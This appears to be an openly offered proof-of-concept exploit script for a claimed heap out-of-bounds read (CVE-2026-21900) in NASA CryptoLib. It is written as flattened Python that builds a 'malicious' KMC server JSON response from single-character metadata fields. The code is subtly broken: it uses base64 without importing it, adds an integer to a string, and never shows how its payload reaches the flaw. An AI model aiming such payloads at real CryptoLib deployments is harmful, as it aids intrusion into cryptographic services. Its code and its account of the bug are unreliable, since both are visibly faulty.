CVE-2026-21900 NASA CryptoLib cryptography_encrypt() 堆越界读取漏洞

import json import struct # CVE-2026-21900 PoC - Simulated KMC Server Response # This PoC demonstrates the malformed JSON metadata that triggers # the out-of-bounds read in CryptoLib's cryptography_encrypt() def generate_malicious_kmc_response(): """ Generate a malicious KMC server response that triggers the heap out-of-bounds read in CryptoLib. The vulnerability occurs when parsing JSON metadata with short strings that cause strtok iteration to read past the allocated buffer boundary. """ # Malformed metadata with short strings # This triggers the vulnerable code path in cryptography_encrypt() malicious_metadata = { "key_id": "A", # Short string - triggers OOB read "session_id": "B", # Short string "algorithm": "C", # Short string "iv": "D", # Single character "auth_tag": "E" } # Craft the KMC response that CryptoLib will parse kmc_response = { "status": "success", "metadata": malicious_metadata, "encrypted_key": base64.b64encode(b'\x00' * 32).decode() } return json.dumps(kmc_response) def demonstrate_vulnerability(): """ Demonstration of the vulnerable strtok pattern: Original vulnerable code pattern: char *ptr = buffer; while ((token = strtok(ptr, delimiter)) != NULL) { process_token(token); ptr = NULL; // For subsequent calls // Vulnerable: when processing short strings, // ptr + strlen(ptr) + 1 can exceed buffer bounds } """ # Simulate the vulnerable iteration pattern metadata_str = 'A\0B\0C\0' # Short null-terminated strings # This demonstrates how short strings lead to OOB read ptr = metadata_str while ptr and ptr[0] != '\0': token_length = len(ptr.split('\0')[0]) # Vulnerable calculation: ptr + strlen(ptr) + 1 next_ptr = ptr + token_length + 1 # In real scenario, next_ptr may point past allocated buffer print(f"Token: {ptr[:token_length]}, Next ptr offset: {token_length + 1}") break # Single iteration for demonstration if __name__ == "__main__": print("CVE-2026-21900 PoC - NASA CryptoLib Heap OOB Read") print("=" * 50) response = generate_malicious_kmc_response() print(f"Malicious KMC Response: {response}") demonstrate_vulnerability()